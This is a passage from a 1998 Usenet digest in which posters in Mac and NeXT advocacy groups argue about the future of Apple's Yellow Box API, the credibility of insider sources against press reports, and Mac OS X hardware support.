: see Norr's name dragged through the dust in a public forum when he has
: done nothing to merit such treatment.
:
Well, please allow me to dispute it. Scott has one of the most
professional web sites devoted to technologies developed by NeXT. He does
not delve into rumors or foretelling, and his ties to Apple are very close
at the moment. He has interviewed several high-ranking Apple officials in
the recent past (I believe WWDC coverage mentioned much of this), and has
the Stepwise page linked off of Apple's web site as a "great" link for
Rhapsody information. From my POV, this seems like credentials that are
worthy of respect.
I know nothing of Mr. Norr, and will not comment on his writings or his
person. However, I have read much of the Mac press over the past few
years, and macintouch does not rank among the most fact-based. Read into
that what you will.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 20:09:01 GMT
Organization: wazza?
Message-ID: <6ogdst$ai9$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net>
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Cc: not@a.valid.email.add
In <not-1407981048300001@2-25.phx.psn.net> Michael M. Eilers wrote:
> Ah yes, the mysterious "people at Apple" that I'm sure you know very
> well...
Well I'm sure he does. I know some of the same people.
> Let's just say if I had a dime for every claimed inside source
> people mention on this group, I'd be too busy spending the money to
> respond.
You _really_ know how to shop. A Deja News search turns up no hits.
> I'm not naieve, scott, but I fear that you are. Aren't you aware that
> Apple is a huge company, and that decisions (since Jobs showed up) come
> from the top down? Sure, you might be friendly with the intern toilet
> washer at Apple, but that doesn't mean the person knows anything.
Yes, but does he know more than you? Yes. Does he know more than Henry?
Likely yes. I've personally known Ken B. since he was up here in Canada
almost a decade ago. Did you?
> I'm willing to bet even senior developers at Apple don't know what the
> hell is going on there
That may indeed be true, but it has little bearing on the claim you make
above. Whether or not anyone below SJ knows anything is meaningless when
comparing Henry's talk with Ken B. with Scott's with people who should know
more.
> I wouldn't trust any source at Apple besides Steve Jobs
Wait, you WOULD trust him?! I don't!
> the one holding the still-bloody axe, and who just might swing it again at
> any time. until I get word from him, I'll trust the word of people who
> have been getting paid for a long time to observe him and his company and
> extrapolate from there.
Henry was making a personal observation based on a single interview with a
person that is now (I'm sure he'll hate to hear it put this way) primarily a
media contact. Henry's personal comments in this regard may be true, but I
don't think he's really any more in tune on this than anyone else.
> As for this whole Yellow Box issue, Norr is just one of many, many voices
> predicting its death.
And just as many, maybe more, saying it's death would be moronic.
> reported on MacCentral long ago. Take a look at the software developed on
> Yellow Box--enterprise stuff and word processors, a paint program or two.
> Not one of the Big Four Mac developers--Adobe, Quark, Microsoft,
> Macromedia
dobe did.
> --the people who *made* the Mac what it is today--were willing
> to touch Yellow Box with a ten-quadrillion-foot pole.
So far you mean.
> I never said it did. But the fact that some have the public forum (such as
> Norr) and are trusted in that position certainly casts a shadow on those
> who just mutter on Usenet like they think it matters.
Uh huh. So why are you here?
Maury
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 15:44:22 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6ogg1m$kto1@odie.mcleod.net>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net>
Many people have asked for references that support the numbers below:
I am getting these number directly from the engineers involved. My husband
asked, FOR THE RECORD, in front of an audience of 100+ people how many
engineers were working on Interface Builder and Project Builder and two
presenters from WWDC stood up and said JUST US TWO and they were also
working on porting FreeBSD tools to Rhapsody. The question and answer are
probably on the session tapes form the Rhapsody Dev Tools session.
It is also worth mentioning that there will be no OO API to QuickTime except
the Java API.
It is hard to see how many of the new APIs for carbon including text
searching and encryption will be available to YellowBox
Michelle L. Buck wrote in message <6og17t$73c2@odie.mcleod.net>...
>
>I agree with all of Bill Bumgarner's glowing description of YellowBox
>technology. In many ways he even understated it. Never the less,
YellowBox
>is dead. People in this group keep saying that Apples message is muddled.
>It is NOT. It is crystal clear. Apple executives have said multiple times
>in public and for the press that Carbon is THE APPLE API and that CARBON is
>Apple's crown jewel and that future development should use Carbon. A few
>former NeXT engineers have reassured some of us in private that YellowBox
is
>Apple's future. Now, who do you believe, Steve Jobs and all of his direct
>reports or a few engineers who are not privy to policy discussions ?
>
>Scott Anguish has quoted Avie and others to the effect that YellowBox is
the
>future of Apple at some undefined distant time. Apple has never maintained
>a consistent message or technology for even two years and neither did NeXT.
>Why would a developer wait 18 months for the possibility of running
>YellowBox applications on MacOS-X without standard system services or a CLI
>or DisplayPoststcript etc. ? What makes anyone think Apple will not change
>its plans between now and then and or slip the schedule ? Even if Apple
>delivers everything promised on time, so what ? These things will not
>appeal to anyone but a current MacOS user/bigot. There is nothing there of
>interest to anyone else.
>
>The number of active YellowBox developers is currently smaller than it has
>been in 7 years. Apple either refuses to sell YellowBox/Openstep to some
>fortune 100 companies or can not/will not provide information sufficient
for
>the generation of a purchase order. Apple has even directly told some
>developers not to use YellowBox even if they want to do it now.
>
>Taken as a whole, it is clear that Apple does not advocate YellowBox now or
>at any specific time in the future and instead actively deprecates it.
>YellowBox is dead. Don't waste your time with it.
>
>Apple does keep a few engineers working on YellowBox. They are just
hedging
>their bets. There are exactly 2 engineers working part time on Interface
>Builder and Project Builder. Those two tools constitute the entire IDE.
>Does that sound like strong support ? The total number of Apple engineers
>working on anything related to YellowBox is less than 30 and possibly less
>than 10. Sure, there are lots of engineers working on Mach 3.0 kernels and
>new display systems, and new networking, and new file system support, and
>other things of direct support to Carbon. YellowBox is not even on the
>radar screen of Apple executives. The money being spent on YellowBox
>probably does not even show up in budgets it is so small. In fact, some
of
>my Fortune 100 customers spend more money each year on YellowBox than Apple
>does.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 14 Jul 1998 20:53:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qnhar.jhe.sal@panix3.panix.com>
References: <6n6a2e$21s$1@news.cmc.net> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com> <6odavf$m73$1@flotsam.uits.indiana.edu>
On 13 Jul 1998 16:00:47 GMT, Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>AppleScript can take a paragraph to do what can be done in a single line
>of typing on a Unix system.
a) The reverse is also true. I've seen some very cool things done in AS that
would take a lot of sh/bash code to duplicate.
b) AS was not ment to be a sh replacement, it just ended up being one.
c) AS _and_ Unix CLI is better for MacOSX than one _or_ the other.
> It's considerably more verbose. In its
>attempt to mimic natural language, it becomes harder to work with.
I think that readibility was one of the major goals in AS. The one quote
on AS that comes to mind was from a web designer who wrote a bunch of AS code
to help automate the web site update.
When I asked her "how long have you been programming?" She replied "This isn't
programming, it's too easy!"
--
sal@panix.com
Salvatore Denaro
From: agave@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 20:27:38 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ogevp$ndb$1@nnrp1.dejanews.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net>
In article <6og17t$73c2@odie.mcleod.net>,
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
>
> People in this group keep saying that Apples message is muddled.
> It is NOT. It is crystal clear. Apple executives have
> said multiple times in public and for the press that Carbon is
> THE APPLE API and that CARBON is Apple's crown jewel and that
> future development should use Carbon.
>
I agree with you that Apple is sending this message but I disagree as
to who the _target_ of that message is. Ever since MacOS X/Carbon was
announced Apple has been actively catering to its existing customer base and
developers. I believe that is the audience intended for the Carbon message.
_New_ developers and projects [and I don't think this is an extraordinary
thought here] should evaluate their needs and pick the best tool for the job.
Maybe it's YellowBox, maybe Carbon, maybe something else entirely.
YellowBox has been effectively relegated to "just" another API. It doesn't
have the same status as it did under NEXTSTEP but I think that's a good
thing. If YellowBox can not compete with other solutions (eg Carbon, Win32s,
etc) then it _should_ die. I think your experience should tell you that
YellowBox is a good solution to many problems your customers, and others like
them, face. I'm curious what you're now advocating to your customers instead
of YellowBox. YellowBox is not dead. It is no longer the "One True API"
either. People now have a choice. I believe that YellowBox will hold its
own against anything derived from the MacOS Toolbox but it won't matter how
good YellowBox is if Apple can't keep their current developers because it
will sink with the rest of the ship.
-Ian
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: Tue, 14 Jul 1998 17:00:00 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1407981700000001@128.84.203.149>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> Mac OS X is an updated Rhapsody for some intents and purposes. Its kernel
> is supposed to be faster and more efficient as should its imaging model
> be. The idea that Mac OS X would be too slow on pre-G3 hardware is
> ludicrous when you consider that it should only be _faster_ than Rhapsody
> _and_ that Rhapsody is based on an OS that was able to run just fine on
> 68k hardware!
>
> The reasons for Mac OS X not being supported on pre-G3 PCI PowerMacs do
> _NOT_ involve speed (or a lack of it).
It's also ludicrous when you consider that, according to BYTEMarks, the
9600/350 is the fastest machine Apple has ever shipped, and yet it won't
be supported.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 14:04:29 -0700
Organization: Digital Universe Corporation
Message-ID: <35ABC7DC.5BE4EAF8@alum.mit.edu>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net> <6ogg1m$kto1@odie.mcleod.net>
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NNTP-Posting-Date: 14 Jul 1998 21:04:26 GMT
Michelle L. Buck wrote:
> I am getting these number directly from the engineers involved. My husband
> asked, FOR THE RECORD, in front of an audience of 100+ people how many
> engineers were working on Interface Builder and Project Builder and two
> presenters from WWDC stood up and said JUST US TWO
Sounds like a normal object-oriented development project. The 1,000 engineer
projects only exist at Microsoft, and projects that use Microsoft's development
environments. I have only worked on 1 Obj-C/YB/EOF project that had more than 5
engineers (not including tech support, revision control, etc). Why is "just
two" people working on YB all that bad if they are extremely productive?
Correct me if I'm wrong, but there have been some significant additions to YB
since Apple bought NeXT, like (from memory) NSDocument, HTML text view, a bunch
of NSImage enhancements, and aren't they in the process of getting rid of
Display Postscript to replace it with GX? I am sure I am leaving out other
recent YB enchancements.
> It is hard to see how many of the new APIs for carbon including text
> searching and encryption will be available to YellowBox
It is unclear to me that YB requires any additional text searching API's. That
seems pretty much covered in the current API. I don't know what the new Carbon
text searching APIs provide, but maybe there isn't a correlation. As far as
encryption, I know that Mail.app had a "secret" encryption bundle back in the
NEXTSTEP days. I think Apple probably does have Obj-C object-oriented
encryption APIs, but the damn government won't let them ship it.
Eric
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 1998 18:36:58 GMT
Organization: Michigan State University
Message-ID: <6og8ga$oq7$3@msunews.cl.msu.edu>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<6o5k4c$r2d$1@crib.corepower.com> <6o5n32$6q$2@news.xmission.com>
<Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk> <6ods31$lh3$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
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Cc: jkheit@mediaone.net
In <6ods31$lh3$1@lwnws01.ne.highway1.com> John Kheit wrote:
> Fergus.Doherty@nottingham.ac.uk (Fergus Doherty) wrote:
> > In article <6o5n32$6q$2@news.xmission.com>, don@misckit.com wrote:
> >
> > > And Apple has apparently forgotten that many people work in
> > > places where Mac harware is verboten, but Intel hardware running
> > > a Mac OS could be slipped past purchasing. Apple is in effect
> > > forcing these folks into a computing ghetto that they can't
> > > leave.
> >
> > Exactly. My institution has a new It policy that makes it hard
> > to purchase Macs. And certainly if the computer is purchased by
> > a School or Department, rather than an individual buying it for
> > research purpose with grant money, it will be almost impossible.
> > So if we had MacOSX (or whatever) for Intel compatibles many Mac
> > users would go for it, even if it meant buying the OS. The
> > problem would be the apps. It would be really nice if you could
> > run MS Office (I know, I know, but it is the "standard"), possible
> > the Windows versions.
> >
> > This may be the only way to infilitrate the PC world, and
eventually
> > maybe sell Mac hardware.
>
> Yes, but the greedy gusses at apple, I'm guessing the same idiots
that think
> that the bulk of the population has no problems paying a 35% premium
for
> apple hardware, believe that if they do this they will lose all their
mac
> hardware sales (big woop) because there would be little reason to buy
their
> hardware. CLUE! If that is so, maybe you should reevaluate the
value of
> your hardware! Maybe it's not worth the 35% premium if simply
putting the OS
> on another hardware platform presents such a danger. Maybe it would
be wise
> to ramp into a nice fat margin product like software on a wider base,
than
> continue on the hoping of finding enough suckers to pay big margins
for
> relatively little in return. Nah, it just couldn't be that way. Mac
> hardware is without a doubt the best price/performance equipment.
Then the
> reason for them not putting the OS on Intel hardware, since there
would be
> nothing to fear because people see how great a value the apple
hardware is
> and will not leave it if given a chance, and thus by providing an
Intel
> product would only increase marketshare by allowing those that simply
cannot
> buy into apple for other reasons, the reason for not doing that,
putting
> MacOSX on Intel, would only be stupidity. So it's either stupidity,
or the
> realization that the hardware doesn't warrant as high a premium as
they
> charge. Either way it's a lame strategy.
>
I and others have also made this argument. It is a point that casts
doubt
on whether PPC would be better. I suspect if you factor in the
price/performance
info PPC and compare to Intel that Apple may not compete well on this
basis..
And I suspect Apple knows this but clearly for business reasons is
unwilling to
admit it.. If this is true then they miss the completely the point.
If I can get 50%
more performance out of a single box - there is a reason why I'll pay
more
than the 50% markup.. But if the markup is too high I'll get two of
the cheaper
boxes..
The other point that is well taken is the whole issue of second
sourcing
and monopolistic practices - if Apple thinks that people will give up
one
monopoly MS for another even tougher monopoly - they will be rudely
awakened in the next 2 years..
Though frankly the Mac loyal are even more fanatical than the NeXT
loyal - and the NeXT loyal were pretty fanatical. Some of us are
still
here?!
I did a search on apple.com for "MacOS X Server" guess what -
No Page Matches. Usually Apple is right on top of their web pages
coinciding with announcements - even the Rhapsody pages havn't
been updated yet.. Kinda shows you how serious they are about
MacOS X Server.
Also I have thought about this a bit. Apple most certianly knows who
came from the NeXT Camp, and who are YB developers. Why arn't
they sending e-mail to those folks - and writing a few well hidden
pages
relating to announcements directed to the YB camps and posting them
at least in comp.sys.next.?.
It is all well and good that Apple wants all the MacOS folks to think
Carbon - but if Apple really wanted/wants them to get to YB - they
really should be up front about that. How hard is it to say were
giving you Carbon which will be avaliable far into the future (5-10
years) as a stepping stone to YB. That in 5-10 years we would like
everyone to have migrated to YB.. This doesn't mean we are going
to abandon Carbon or MacOS in fact quite the reverse - we are
listening and will continue to listen - and you will have a choice of
YB or Carbon for the next 5-10 years. What we are saying is that
we think you'll be much happier if you move your Carbon apps
to YB - were just saying "Think about it - Give YB a try - who
knows you may actually like it better than Carbon?"
Again another example of Apple not trusting their remaining folk
(MacOS devs, or YB devs) enough to be up front about their long
term plans.. It also possibly says they have no long term plans
and will blow where the $$ blow.. All I can say is they better get
a bigger net - cause the $$ will blow away/around Apple quite soon
IMHO.
The door that opened wide all through 1997 - is now starting to
close. Enterprise is going away. If Apple doesn't get it's .hit
together by the time MacOS X Server is released on these issues
they might as well close up shop now.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 14 Jul 1998 14:14:19 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1407981414190001@1-58.phx.psn.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu>
NNTP-Posting-Date: 14 Jul 1998 21:12:31 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6ogco6$8ma$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> This is an extremely poor analogy, one that does not do your cause
> credit. Keeping and maintaining a car for any length of time may
> cost money, but not the sort of money needed to get rid of the
> car every two years and buy a brand-new replacement. (At least,
> no sane person would do that...right?)
Two years in computer years is about twenty in car years, in terms of
technology advances, features, and resale value. See how the analogy works
a little better now?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 20:59:29 GMT
Organization: Digital Fix Development
Message-ID: <6oggrh$ed9$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net>
In-Reply-To: <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net>
On 07/14/98, George Graves wrote:
>In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>>
>> Apple isn't going to be selling off the Enterprise stuff.
>>
>> YB isn't going to be sold off, and it isn't dead. Not by a
>> long shot.
>>
>> Geez, why do you people listen to Henry Norr?
>
>Scott. there's an old saying that bears restating here:
>
>"History repeats itself."
>
>One doesn't have to listen to Henry Norr to see what's happening
>to Yellow box, we've seen it countless times with other promising
>but stillborn Apple technologies. The list is almost endless. Apple
>touts some technology as the 'next big thing', then changes direction
>and guess what? That next big thing gets left in the lurch. Jaguar,
>Taligent, Pink, Copland, OpenDoc, QDGX, Newton, etc., etc., etc.
And when were all those killed? With the exception of the
Newton pre-Jobs takeover.
>Remember "....Its called 'Carbon' and ALL lifeforms eminate from it."
A catchy slogan that shouldn't be taken as gospel.
>Apple has two fundamental problems that they've never changed:
>
>1) A revolving door of upper management whose 'dwell time' is
>so short, that no projects ever get completed before the next
>"team" comes in and reorganizes the company, changing
>everything.
>
When was the last time someone in upper management left?
>2) A management by consensus style in which people who have
>no business even offering input to certain decision making
>processes can kill the entire proceeding by just saying no.
>
If you don't think that Steve is in control, then you're sadly
mistaken.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 21:12:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qnidu.jhe.sal@panix3.panix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <35AB8595.76E087AD@ericsson.com>
On Tue, 14 Jul 1998 11:21:41 -0500, Michael Peck <Michael.Peck@ericsson.com> wrote:
>I daresay Henry Norr has seen a bit more of Apple's history than, say
>(off the top of my head), someone like Scott Anguish. Pretending to be
------------------------------------------------------^^^^^^^^^^^^^^^^^
>the lone voice of reason sounds like so much naivete, coming from a
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>relative newbie to the Apple culture.
Some people should follow their own advice.
Mr Anguish is hardly a newbie to Apple history or culture. And he has
a lot more access to Apple then either of us.
He has also been on the Next "rollercoaster ride" for a long, long time.
--
sal@panix.com
Salvatore Denaro
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 16:10:58 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ABC962.44A06028@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001 <6ogg16$397$1@vixen.cso.uiuc.edu>
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willis sean timothy wrote:
> The disagreeing parties stooped to insulting him first.
I missed that. Could you post a reference?
> Well, please allow me to dispute it. Scott has one of the most
> professional web sites devoted to technologies developed by NeXT. He does
> not delve into rumors or foretelling, and his ties to Apple are very close
> at the moment. He has interviewed several high-ranking Apple officials in
> the recent past (I believe WWDC coverage mentioned much of this), and has
> the Stepwise page linked off of Apple's web site as a "great" link for
> Rhapsody information. From my POV, this seems like credentials that are
> worthy of respect.
They are not. An exclusive Web site, ties to Apple, eschewing rumors,
interviews with Apple officials (just out of curiosity, how many of
those officials are no longer with the Revolving Door Management
Company, aka Apple?), and an endorsement from Apple because of shameless
advocacy do not constitute "credentials that are worthy of respect".
Scott may, indeed, by "worthy of respect", but the credentials you list
do not prove it, not by a long shot. Scott Anguish may be the hero of
many people in the NeXT world, but I suspect that much of that is pure
socialization.
> I know nothing of Mr. Norr, and will not comment on his writings or his
> person. However, I have read much of the Mac press over the past few
> years, and macintouch does not rank among the most fact-based. Read into
> that what you will.
So Ric Ford isn't your personal hero. How bitterly disappointing, not.
Not everybody insists on elevating Web personalities to the status of
celebrities (and subsequently basing "respect" on said celebrity
status). Scott doesn't have an moral imperative to criticize Norr for
his views, plain and simple.
MJP
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 10:48:29 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1407981048300001@2-25.phx.psn.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
NNTP-Posting-Date: 14 Jul 1998 17:46:43 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6oeict$msj$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> >Scott, why the hell would we listen to you instead?
>
> Because Henry was telling you a wild out on a limb
> speculation.
...a speculation based on years and years of experience with both Apple
and journalism. I'd trust his hunches over some armchair pontiff on Usenet
any day.
> I'm telling you what I've been told by people at Apple who
> have intimate knowledge of what is happening. This as recent as this
> morning.
Ah yes, the mysterious "people at Apple" that I'm sure you know very
well... Let's just say if I had a dime for every claimed inside source
people mention on this group, I'd be too busy spending the money to
respond.
I'm not naieve, scott, but I fear that you are. Aren't you aware that
Apple is a huge company, and that decisions (since Jobs showed up) come
from the top down? Sure, you might be friendly with the intern toilet
washer at Apple, but that doesn't mean the person knows anything. Hell,
I'm willing to bet even senior developers at Apple don't know what the
hell is going on there--haven't you seen the famous "security memo" Steve
sent around after he kicked Amelio out? Haven't you heard about the
Columbus smokescreen Apple deliberately "leaked" in such a way that their
own staffers were the ones unwittingly spreading the story?
I wouldn't trust any source at Apple besides Steve Jobs--after all, he's
the one holding the still-bloody axe, and who just might swing it again at
any time. until I get word from him, I'll trust the word of people who
have been getting paid for a long time to observe him and his company and
extrapolate from there.
As for this whole Yellow Box issue, Norr is just one of many, many voices
predicting its death. Developers themselves just about fell over and died
when Apple announced Rhapsody and a brand-new set of APIs to learn, as
reported on MacCentral long ago. Take a look at the software developed on
Yellow Box--enterprise stuff and word processors, a paint program or two.
Not one of the Big Four Mac developers--Adobe, Quark, Microsoft,
Macromedia--the people who *made* the Mac what it is today--were willing
to touch Yellow Box with a ten-quadrillion-foot pole. That alone doomed
the Yellow Box forever.
> Gee, as I recall, Mr Norr is now writing for Macintouch, not
> MacWeek. Why do I doubt that is a steady paying job.
He writes for many other publications as well. Trust me on this, MacWeek
is a *very* well paying job, for a journalist. Not that the amount
matters--what matters is that the editors trust him to write solid stuff
and not make a fool of himself.
> Writing for a publication doesn't automatically make you
> right.
I never said it did. But the fact that some have the public forum (such as
Norr) and are trusted in that position certainly casts a shadow on those
who just mutter on Usenet like they think it matters.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: 14 Jul 1998 21:27:47 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qnjah.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <6og3gt$eqq1@eccws1.dearborn.ford.com> <6oga89$cuc$1@lwnws01.ne.highway1.com>
On 14 Jul 1998 19:06:49 GMT, John Kheit <jkheit@mediaone.net> wrote:
:Which leads me to wonder why the drivers made for Rhap 1.0 will all the
:sudden not work in 2.0 (i.e. OSX)? Could it be a pretty blatant hand
:twisting move by apple to force people to upgrade perfectly fine machines?
Quite possible.
But Rhap 2.0 is going to have some amalgamated Mach '3.0' kernel, vs
the 2.5+++++ in Rhap 1.0.
It is reasonable that the low level board drivers (not external devices) could
require a significantly different interface.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 14 Jul 1998 23:27:45 +0100
Organization: DIKU
Message-ID: <1dc6e9x.i3kt8jnbcj06N@ip70.albnxr1.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net>
Mime-Version: 1.0
